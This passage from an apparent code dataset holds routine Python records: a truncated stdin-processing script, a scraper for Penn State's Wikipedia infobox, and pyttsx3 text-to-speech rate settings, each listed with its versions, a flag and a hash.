[ "#!/oasis/scratch/csd181/mdburns/python/bin/python\nimport sys\nimport pickle\nimport base64\nfrom process import process\nimport multiprocessing as mp\n\nEPOCH_LENGTH=.875\nEPOCH_OFFSET=.125\nNUM_FOLDS=5\n\nif __name__ == \"__main__\":\n mp.freeze_support()\n\np= mp.Pool(2)\n\nfor instr in sys.stdin:\n this_...
true
6,398
f45ca4e75de7df542fbc65253bb9cc44a868522a
import requests from bs4 import BeautifulSoup import codecs url = "https://en.wikipedia.org/wiki/Pennsylvania_State_University" response = requests.get(url) soup = BeautifulSoup(response.content, 'html.parser') infoBox = soup.find("table", class_="infobox vcard") webScrape = {"Univeristy": "The Pennsylvania State U...
[ "import requests\nfrom bs4 import BeautifulSoup\nimport codecs\n\nurl = \"https://en.wikipedia.org/wiki/Pennsylvania_State_University\"\n\nresponse = requests.get(url)\n\nsoup = BeautifulSoup(response.content, 'html.parser')\ninfoBox = soup.find(\"table\", class_=\"infobox vcard\")\n\nwebScrape = {\"Univeristy\": \...
false
6,399
32f4f7ad61b99848c907e092c5ed7a839f0b352b
import pyttsx3 from pydub import AudioSegment engine = pyttsx3.init() # object creation """ RATE""" #printing current voice rate engine.setProperty('rate', 150) # setting up new voice rate rate = engine.getProperty('rate') # getting details of current speaking rate print (rate) ...
[ "import pyttsx3\r\nfrom pydub import AudioSegment\r\n\r\nengine = pyttsx3.init() # object creation\r\n\r\n\"\"\" RATE\"\"\"\r\n #printing current voice rate\r\nengine.setProperty('rate', 150) # setting up new voice rate\r\nrate = engine.getProperty('rate') # getting details of current spea...
false